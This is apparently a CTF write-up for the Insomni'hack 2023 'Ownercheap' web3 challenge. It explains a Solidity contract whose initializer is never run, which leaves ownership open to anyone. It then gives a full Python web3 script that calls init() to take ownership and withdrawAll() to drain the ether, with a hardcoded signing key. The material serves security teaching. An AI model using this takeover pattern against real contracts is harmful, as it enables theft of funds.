Contents

Insomni'hack CTF 2023 - Ownercheap

This is the solution of the challenge “Ownercheap” given during the Insomni’hack 2023. It was a Ethereum smart contract initialization bug which lead to contract ownership takeover.

Description

Withdrawall, that’s the goal !

Create the chall and get the flag: https://ownercheap.insomnihack.ch/.

Smartcontracts source code: Setup.sol & Challenge.sol

Details

Category: web3

Author: Stygis

Solution

The constructor function of the Challenge contract check if the mapping structure sameAddress to be true for the zero address and if yes, it launch the init function which defined the owner of the contract and set the setup variable to true to prevent another ownership transfer. The problem is the mapping structure in Solidity is similar to dictionary in other language and here we declare a mapping where the keys are addresses and the value booleans. But by default the value are initialized to false. In the code the value for address zero is never set to true. Thus in the following code:

1
2
3
4
5
6
7
mapping(address => bool) public sameAddress;
	
	constructor() payable {
		if( sameAddress[address(0x0)] ) {
			init(); 
		}
	}

The function init is never called. To exploit this bug we just have to call the init function ourselves and will will be owner of the contract. The we can call the function withdrawAll to get all the ethers. Here is my full solution script in Python:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python

import sys

from web3 import Web3
import json

if __name__ == "__main__":
    infura_url = "https://ownercheap.insomnihack.ch:32950"
    web3 = Web3(Web3.HTTPProvider(infura_url))

    chal_address = Web3.to_checksum_address("0x874f54e755ec1e2a9ea083bd6d9c89148cea34d4")
    setup_address = Web3.to_checksum_address("0x876807312079af775c49c916856A2D65f904e612")
    
    # Got from solc Challenge.sol --abi > abi.json 
    with open("abi.json") as f:
        abi = json.load(f)

    contract = web3.eth.contract(chal_address, abi=abi)
    address = Web3.to_checksum_address("0x133756e1688e475c401d1569565e8e16e65b1337")

    transfer_tx = contract.functions.init().build_transaction(
    {
        'from': address,
        'nonce': web3.eth.get_transaction_count(address),
        'gasPrice': web3.eth.gas_price
    })

    x_create = web3.eth.account.sign_transaction(transfer_tx, 0xedbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3)
    tx_hash = web3.eth.send_raw_transaction(x_create.rawTransaction)
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

    print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')

    transfer_tx = contract.functions.withdrawAll().build_transaction(
    {
        'from': address,
        'nonce': web3.eth.get_transaction_count(address),
        'gasPrice': web3.eth.gas_price
    })

    x_create = web3.eth.account.sign_transaction(transfer_tx, 0xedbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3)
    tx_hash = web3.eth.send_raw_transaction(x_create.rawTransaction)
    tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)

    print(f'Tx successful with hash: { tx_receipt.transactionHash.hex() }')

    with open("abi_setup.json") as f:
        abi = json.load(f)

    contract = web3.eth.contract(setup_address, abi=abi)
    print(contract.functions.isSolved().call())

    sys.exit()

Running the script would show that the challenge is solved and then we were able to get the flag:

1
"Well done!! Please don't share the solution with other people, it is a private challenge. The flag is => INS{646f6e3074666f72676574544f696e6974796f7572436f6e747261637473}"